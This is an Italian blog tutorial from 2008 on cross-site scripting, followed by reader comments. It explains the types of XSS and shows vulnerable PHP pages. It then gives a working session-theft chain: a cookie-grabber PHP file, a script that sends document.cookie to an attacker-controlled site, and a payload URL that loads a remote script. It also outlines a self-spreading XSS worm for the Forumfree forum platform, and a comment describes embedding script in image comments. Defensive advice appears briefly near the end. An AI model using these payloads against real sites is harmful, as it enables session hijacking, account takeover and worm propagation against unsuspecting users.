Tecnologia e Digital Hacks
14-02-2008

XSS in 60+ minuti

Questo articolo sarà sviluppato in modo completamente modulare, per facilitare l'approfondimento di ogni tematica.

Prefazione

Per questo tipo di articolo sono necessario alcune nozioni fondamentali di come funziona una pagina web, l'html, il javascript in generale e il php. Dobbiamo ricordarci questo... Una pagina php GENERA codice HTML. Una pagina PHP può ricevere alcuni "input diretti" dall'utente. Principalmente tre:

Cosa sono gli XSS

Un XSS (dall'inglese "Cross-site scripting", abbreviato anche come CSS, ma evitato per non confonderlo con la sigla dei fogli di stile), è un tipo di attacco che prevede l'inserimento di codice html arbitrario (deciso dall'"attaccante") all'interno di una pagina web o di una e-mail in formato HTML (che verrà visualizzata dalla vittima). Questo attacco è possibile se determinati input (i tre tipi indicati precedentemente) non vengono controllati opportunamente e stampati nel codice html. Attenzione, esistono 3 tipi di XSS:
  • persistenti : questi XSS prevedono che il codice venga in qualche modo "memorizzato" in una pagina (spesso si parla di "HTML Injection") e successivamente mostrato a chiunque la visiti. Un esempio classico è un messaggio (con codice "maligno" inserito all'interno di un forum). Questo tipo di XSS è normalmente ritenuto più pericoloso, visto che basta iniettare una volta il codice per esporlo a molte persone. E' alla base, inoltre, di un XSS-virus, di cui parlerò più tardi.
  • non persistenti : a differenza del precedente, questo non viene memorizzato lato server. E' necessario, quindi, passare ogni volta il codice, attraverso l'input vulnerabile, per poterlo visualizzare nella pagina. Sono il tipo di XSS più comuni, spesso sottovalutati.
  • basati sul DOM : altrimenti noto come "XSS-locale", riguarda l'esecuzione di codice tramite funzioni javascript non propriamente usate nella pagina vulnerabile (normalmente document.location or document.URL or document.referrer). Non parlerò di questo tipo di XSS in questo articolo, a causa delle mie pesanti lacune in questo linguaggio. Potete trovarne una trattazione sufficiente in questa pagina http://www.webappsec.org/projects/articles/071105.shtml. Ricordo, però, che le tecniche sfruttate risultano del tutto simili a quelle presenti negli altri due tipi.

Primi esempi

Per mostrarvi praticamente qualche esempio di questi attacchi, ho messo a disposizione alcune pagine (su un dominio inutile) che vi permettono di testare varie tecniche per gli XSS.
xss1.php - non persistente
Supponiamo di avere una pagina xss1.php con questo codice:
<?php
 echo $_GET['cat'];
?>
Come vedete lo scopo unico di questa pagina è quello di stampare il valore inviato come GET e nome "cat". Lo vedete qui: http://aglarwen.net/xss1.php?cat=internet Potete variare a piacimento il valore "internet" vedendo quello che viene visualizzato.
xss2.php - persistente
Attenzione: ho usato un XSS idealmente persistente. Osservate il sorgente della pagina:

<?php

 $codicemaligno="XSS"; //questo codice verrebbe letto da un DATABASE (senza doverlo inserire ogni volta)

?>

<?php

 echo $codicemaligno;

?>
Lo trovate qui: http://aglarwen.net/xss2.php

Ricerca di XSS

La ricerca di XSS (che tratterò meglio in un successivo articolo) si sviluppa in tre fasi:
  1. googlando e usando database come xssed.com : così non perdiamo tempo a cercare XSS già trovate. Per quanto possa essere positivo didatticamente, il tempo è davvero prezioso.
  2. (opzionale, per siti molto grandi) usando degli scanner appositi come Acunetix, XSSS, Pixy, e un esempio di rudimentale scanner in Python.
  3. ricerca manuale. Possiamo effettuarla cambiando ogni tipo di input, (get, post, cookie e altri header) con estensioni come Tamper Data. Il trucco è di inviare dati come "ajfdi"(stringa casuale)+""'><". In questo modo analizzando il codice html della pagina prodotta e cercando la stringa casuale "ajfdi" possiamo vedere in che modo sono stati interpretati i dati da noi inviati e se c'é stata una validazione degli input come apostrofi,virgolette, ecc. Pensiamo al primo esempio trattato: http://aglarwen.net/xss1.php?cat=LOL. Ci accorgiamo come modificando il GET['cat'] possiamo inserire codice arbitrario nel campo del titolo.

Come possiamo sfruttarli

Fino ad adesso ho parlato in generale di "codice maligno" o "codice html arbitrario" che iniettiamo nel codice html di una pagina. Vediamo come possiamo sfruttare un XSS.

Rubare i COOKIE

La maggior parte degli XSS vengono utilizzati per "rubare" i cookie della sessione di login degli utenti. Quando noi eseguiamo il login in un sito, questo memorizza dei particolari dati all'interno del nostro browser, sotto forma di COOKIE, reinviati ad ogni caricamento delle pagine di quel sito fino alla loro cancellazione o scandenza. Uno script javascript riesce a leggere i cookie settati (tralasciando alcune eccezioni) tramite "document.cookie". Facciamo un esempio. La pagina http://aglarwen.net/setcookie.php è stata creata per settare un cookie basato sul nome e sulla pwd che inserite come get user e pwd. Andate quindi all'indirizzo: http://aglarwen.net/setcookie.php?user=VOSTRONOME&pwd=PASSWORDQUALSIASI Avrete settato due cookie nel vostro browser. Il codice di setcookie.php è:

<?php
    setcookie ("user", $_GET['user'],time()+3600);
    setcookie ("pwd", $_GET['pwd'],time()+3600);
?>
Utilizzando estensioni come "Edit Cookies" (nell'immagine), per Firefox, è possibile vedere e modificare manualmente i cookie impostati. La scaricate da qui. Se ora proviamo a visualizzare la pagina che avevamo già analizzato, inserendo uno script con document.cookie, otteniamo questo risultato: alla pagina http://aglarwen.net/xss1.php?cat=%3Cscript%3Ealert(document.cookie)%3C/script%3E (notare che %3C = < e %3E = > --> si tratta della codifica urlencode) Se inseriamo in un nostro sito (un sito di chi compie l'attacco) un file detto cookie grabber (grabber.php - http://aglarwen.net/grabber.php) con questo codice:

<?php $data = $_GET['c'];
$date=date("j F, Y, g:i a");
$referer=$_SERVER['HTTP_REFERER'];
$fh = fopen("cookie.txt",'a+');
fwrite($fh, $referer . " / " . $data."\n".$date."\n");
fclose($fh);
?>
e uno script.js con questo codice:

window.location.href = 'http://www.miosito.com/oursite/grabber.php?c=' + document.cookie;
facendo visitare alla vittima un link del tipo http://aglarwen.net/xss1.php?cat=<script src=http://MIOSITO/script.js></script> (nel nostro esempio http://aglarwen.net/xss1.php?cat=<script src=http://aglarwen.net/script.js></script>) troveremo i suoi cookie all'interno del file http://MIOSITO/cookie.txt (http://aglarwen.net/cookie.txt). Per capire meglio il funzionamento ho scelto di fare un piccolo video dimostrativo. Il testo del video è disponibile qui. (Il download è un po' lento, pazientate :)).

Eseguire particolari operazioni

Tramite un XSS, in realtà, possiamo fare eseguire operazioni arbitrarie all'utente. Se guardiamo l'articolo che ho pubblicato una settimana fa su Forumfree, notiamo come, ad esempio, ho sfruttato una XSS per riempire il form di cambio del founder di un forum. Tramite ajax, possiamo quindi inviare dati post e get, di ogni tipo. Possiamo cambiare email, inviare messaggi privati, messaggi in genere, cancellare account, ecc. Ci basterà fare le giuste richieste come get e post. Per inviare questo tipo di richieste in modo veloce e controllato possiamo usare degli script in Ajax. A questo scopo vi rimando alla veloce guida di html.it.

Creare VIRUS XSS

Scelgo di trattare questa tematica molto interessante, soprattutto a livello di social engineering, in un prossimo articolo, visto la vastità del tema trattato. Per chi, comunque, volesse farsi un'idea su questo argomento, inserisco un approfondimento (da ampliare e correggere) tratto dalla rivista online di MenteDigitale. Un altro ottimo esempio reale potrebbe ricollegarsi al già citato exploit per Forumfree. Se noi facessimo inviare dei messaggi privati automatici da parte di chi vede la nostra xss a degli utenti casuali, potremmo diffondere rapidamente il link dell'xss stesso, ed impadronirci viralmente dei forum. Per inviare messaggi privati in forumfree avremo dei semplici dati post:
<input type="hidden" name="MAX_FILE_SIZE" value="524288">
<input type="hidden" name="act" value="Msg">
<input type="hidden" name="CODE" value="04">
<input type="hidden" name="MODE" value="01">
<input type="hidden" name="s" value="XXX">
--> il sid che ho già spiegato come prendere
<input type="text" name="entered_name" value="NICKDESTINATARIO">
<input type="text" name="msg_title" value="Titolo messaggio">
<input type="text" name="Post" value="Testo messaggio">
...
E il gioco è fatto...

Contromisure e metodi per eluderle

Spesso risulta difficile proteggere un sito Internet da questo tipo di attacchi. Il metodo più sicuro è proteggere i dati in ingresso con una validazione del tipo "o rispetti questi parametri oppure niente" (whitelist) e fare lo stesso con i dati in uscita. Abbiamo quindi due fasi: - validazione degli input - validazione del codice stampato nelle pagine Così, se un GET prende un indirizzo email, e questa presenta caratteri del tipo "<,>,', ecc non sarà accettata come valida. Spesso si utilizza invece una validazione di tipo (blacklist), controllando cioé se i dati presentano codice dannoso o sospetto. I linguaggi di programmazione come PHP, Perl, ecc presentano molte funzioni capaci di controllare e validare i dati. Spesso, però, la loro implementazione può risultare insufficiente. Esistono veri e propri XSS CHEAT SHEET che mostrano quanto possano essere vari i metodi di iniezione per il codice. Esistono XSS che non utilizzano particolari caratteri che possono essere filtrati. Che non hanno bisogno di tag di scripting, ecc. Il consiglio che mi sento di dare a un programmatore (soprattutto se inesperto) è di integrare anche un sistema di controllo specifico, come PHPIDS o HTMLPURIFIER o altri ancora che trovate in queste pagine.

Fonti articolo

http://it.wikipedia.org/wiki/XSS http://it.wikipedia.org/wiki/Cross-site_scripting http://en.wikipedia.org/wiki/Cross-site_scripting http://openskills.info/infobox.php?ID=1253 http://www.webappsec.org/projects/articles/071105.shtml http://sicurezza.html.it/articoli/leggi/966/tecniche-cross-site-scripting/ http://www.sastgroup.com/guide-per-il-web/guida-al-cross-site-scripting-xss http://www.acunetix.com/websitesecurity/cross-site-scripting.htm http://www.notrace.it/cross-site-scripting-xss.htm Al più presto con una migliore trattazione della ricerca di XSS. :)

9 Commenti a “XSS in 60+ minuti”

  1. Michele scrive:

    Bravo Haniker, per ora ho letto solo una piccola parte (e capito quasi nulla!), pero' prossimamente mi ci metto con impegno...

  2. Michele scrive:

    Hanicker controlla il link per scaricare l'estensione di Mozilla perchè credo sia sbagliato, mi riporta in http://aglarwen.net/xss2.php ...cmq per il resto bravo davvero! Non e' semplicissima per un profano, pero' e' interessante..

  3. Nick scrive:

    :D. Ok! Sappimi dire se c'é qualche punto poco chiaro. Se ti va puoi anche dare un'occhiata a questi video che avevo fatto 2 anni fa. http://han1cker.altervista.org/lezioni/lection1part1.htm http://han1cker.altervista.org/lezioni/lection1part2.htm e qui il file di testo: http://han1cker.altervista.org/lezioni/hanicker_l1.txt

  4. Nick scrive:

    Link sistemato, ti ringrazio :)

  5. De Shipa scrive:

    Also look at <a href="http://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/index.php">htmLawed</a>

  6. Luca scrive:

    bell'articolo! ;-)

  7. Nick scrive:

    De Shipa it's very good. But It has to be very well configured for a good protection against XSS. I will try that script. :) Thx

  8. ASTER scrive:

    volevo chiederti se è possibile inserire un javascript (o uno script) in un'immagine, in modo che alla visualizzazione della pagina venga eseguito. SE sì come è possibile farlo? ci sono dei programmi? (l'immagine inoltre deve poter essere visualizzata)

  9. Nick scrive:

    @Aster Questa tecnica era possibile fino a qualche anno fa, dove le vecchie versioni di Internet Explorer (fino alla 6) interpretavano correttamente degli script inseriti all'interno delle immagini. Non ci sono dei programmi specifici (almeno non ne conosco, ma dopotutto non sono necessari). Puoi fare riferimento (tra le tante) a questa pagina: http://kestas.kuliukas.com/JavaScriptImage/ Come vedi basta inserire lo script come commento (prova a salvare l'immagine forumlogo2 e ad aprirla con un editor come pspad)..Ti apparirà il vettore utilizzato. Per inserire un commento puoi usare ImageMagick, libreria disponibile nei vari SO, oppure GIMP. Il comando: $mogrify -comment "Commento" immagine.jpg svolge questa funzione. Se ti interessa ti ricordo che tramite le immagini è possibile invece leggere IP e altri dati del navigatore (utile in certi casi). Un altro vettore di attacco simile e più attuale riguarda gli swf e vari formati multimediali online, ancora vulnerabili in più browser.